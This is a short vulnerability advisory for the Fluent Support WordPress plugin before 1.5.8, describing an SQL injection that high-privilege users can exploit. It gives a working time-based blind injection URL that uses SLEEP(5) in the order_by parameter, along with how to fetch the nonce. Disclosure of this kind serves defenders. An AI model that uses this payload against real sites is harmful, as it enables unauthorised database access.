Fluent Support < 1.5.8 - Admin+ SQLi

2022-08-0200:00:00

Rafshanzani Suhada

0.001 Low

EPSS

Percentile

38.0%

JSON

The plugin does not properly sanitise, validate and escape various parameters before using them in an SQL statement, leading to an SQL Injection vulnerability exploitable by high privilege users

With at least one support ticket in the system:

https://example.com/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76d

Nonce is retrieved via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

0.001 Low

EPSS

Percentile

38.0%

JSON

Related for WPEX-ID:062599CE-C630-487E-BB43-C3B27A62B9EC